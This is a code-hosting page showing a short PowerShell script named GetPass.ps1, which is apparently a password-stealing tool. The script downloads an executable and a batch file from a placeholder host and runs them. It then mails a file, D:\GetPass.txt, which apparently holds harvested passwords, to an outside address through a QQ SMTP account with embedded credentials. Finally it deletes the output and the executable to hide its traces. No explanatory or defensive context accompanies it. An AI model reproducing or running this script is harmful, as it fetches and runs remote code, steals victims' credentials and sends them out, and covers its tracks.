-
Notifications
You must be signed in to change notification settings - Fork 134
/
GetPass.ps1
31 lines (18 loc) · 826 Bytes
/
GetPass.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'olawgxxxxxxx');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = '[email protected]'
$ReportEmail.To.Add('[email protected]')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'GetPass_text'
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Timeout = 1000000
$SMTPInfo.Send($ReportEmail)
$ReportEmail.Attachments.Dispose()
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'